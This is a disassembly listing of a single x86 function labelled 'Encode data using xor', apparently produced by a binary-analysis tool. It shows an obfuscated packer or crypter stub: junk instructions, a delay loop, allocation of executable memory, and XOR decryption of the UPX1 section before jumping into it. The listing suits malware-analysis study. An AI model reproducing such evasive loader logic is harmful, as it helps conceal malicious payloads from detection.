Function at 0x4c472c
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x91f3792e
mov ecx, esi
add esi, 1
inc esi
popal
and esi, ecx
or esi, esi
mov eax, 0
mov edi, ecx
sub ebx, 0xe495e104
mov edx, 0x69579814
mov esi, edi
not ebx
not edx
mov ebx, 0x824e94b9
mov ecx, esi
add edx, ebx
not ebx
inc eax
not ebx
not ebx
cmp eax, 0x100d934
jne 0x4c4745
or ebx, edx
mov ebx, 0xc6f80ba5
mov ebx, edx
or ecx, ecx
add esi, ecx
inc ecx
mov edi, 0x4c4516
add edx, edx
sub edx, esi
mov ecx, 0x4c470a
add edx, eax
inc esi
mov edx, eax
mov ebx, dword [edi]
sub edx, eax
add edx, esi
sub eax, 1
and ebx, 0xff
mov edx, esi
mov esi, 0x505acb4a
xor dword [ecx], ebx
mov edx, eax
sub eax, 0xfb406780
sub esi, 0xdd784c79
inc ecx
or eax, esi
mov eax, 0x5afc501a
add edi, 1
and eax, eax
mov esi, edx
not edx
cmp ecx, entry0
jl 0x4c4795
add eax, edx
or esi, esi
not esi
sub edx, 0xbca8869c
or esi, eax
sub ecx, 0x8aae76a9
sub esi, ebx
mov edi, 0x4c470e
add ecx, ebx
sub esi, ebx
mov edi, dword [edi]
or ecx, ebx
and esi, edx
not esi
mov edi, dword [edi]
inc ecx
or esi, esi
sub esp, 4
mov dword [esp], edi
mov esi, edx
inc edx
mov edi, 0x4c470a
not edx
mov ecx, esi
add ecx, 0x2f4ab6e5
mov edi, dword [edi]
sub ebx, 0x21b6e18c
or ebx, esi
mov edi, dword [edi]
dec esi
sub esi, ebx
add esi, 0xf721456c
sub esp, 4
mov dword [esp], 0x4c4712
or esi, edx
or ebx, ebx
call edi
add ebx, edx
dec esi
pop edi
and esi, esi
inc edx
add ecx, 0x18e41ca4
push 0x4c471f
and edx, ebx
not ebx
push eax
and edx, esi
add ebx, ecx
or edx, esi
call edi
inc edx
add esi, 0x69e5af99
push 0x40
add ebx, ebx
sub esi, ebx
push 0x3000
dec ecx
add ecx, 0x89225481
mov ebx, 0x323ea383
push 0x20000314
mov ecx, 0x2d3a59fc
inc esi
push 0
mov esi, ecx
add ebx, ecx
call eax
sub ebx, 0x839adf9b
inc edx
mov ebx, 0x8595f513
add eax, 0x20000298
mov esi, ebx
add ecx, 0xcfe86535
add esi, esi
mov edi, 0x711b3f34
not esi
not ecx
mov dword [eax], edi
inc edx
add esi, esi
mov edi, dword [eax]
add ecx, ecx
and edx, ebx
and ebx, ebx
cmp edi, 0x711b3f34
je 0x4c48de
mov ecx, 0
mov bl, byte [ecx]
mov ecx, 0x5b8d8350
sub esi, 1
sub ecx, 0x3479a0dd
or esi, ebx
add esi, 0x20ca4ec2
dec esi
mov ecx, 0xff5b49f6
mov edi, section.UPX1
not ecx
or ecx, esi
mov eax, 0x4c4515
not ecx
and esi, ecx
or ecx, ecx
mov edx, 0
and ecx, esi
add esi, 0x10b0d7c7
mov ecx, esi
mov ebx, 0x4c4516
and ecx, ecx
inc ecx
sub ecx, esi
lea ebx, [ebx + edx]
sub esi, 0x6cf570f3
mov ecx, 0x7c268f2b
mov ebx, dword [ebx]
not ecx
mov ecx, 0xdfb9d0b1
and ebx, 0xff
dec esi
inc ecx
add edx, 1
dec ecx
mov ecx, esi
cmp edx, 0x1f4
jne 0x4c495f
mov edx, 0
not esi
dec esi
and esi, esi
mov ecx, 0xdd652a5f
sub esi, 0x4ac1bf8a
not ecx
xor dword [edi], ebx
or ecx, esi
inc esi
add ecx, ecx
add edi, 2
mov esi, 0xa3e6df7c
sub ecx, 0xe5519257
or ecx, ecx
cmp edi, eax
jl 0x4c4920
mov ecx, 0x1f92a5bb
add ecx, esi
dec esi
add esi, 1
mov ecx, 0x42da6f1e
mov ecx, section.UPX1
add esi, 0x7876944a
not eax
mov esi, eax
mov ebx, section.UPX1
mov esi, eax
dec eax
mov edi, 0x4c4515
add esi, 0xcf2d5076
mov esi, 0xcbd1749
mov edx, 0
add eax, esi
or eax, eax
mov dl, byte [ebx]
or esi, eax
and esi, esi
add eax, 1
mov byte [ecx], dl
mov esi, 0xc6859986
not esi
add ecx, 1
mov eax, 0xcca28afb
mov eax, 0xadf427c3
add ebx, 2
dec esi
mov eax, 0xe3356aa7
add eax, esi
cmp ebx, edi
jle 0x4c49d6
mov eax, 0x92814aec
mov eax, 0x8aab91cf
mov ecx, esi
dec esi
sub ecx, esi
push 0x4956a0
or ecx, ecx
and esi, esi
add esi, 0x6f078fa0
ret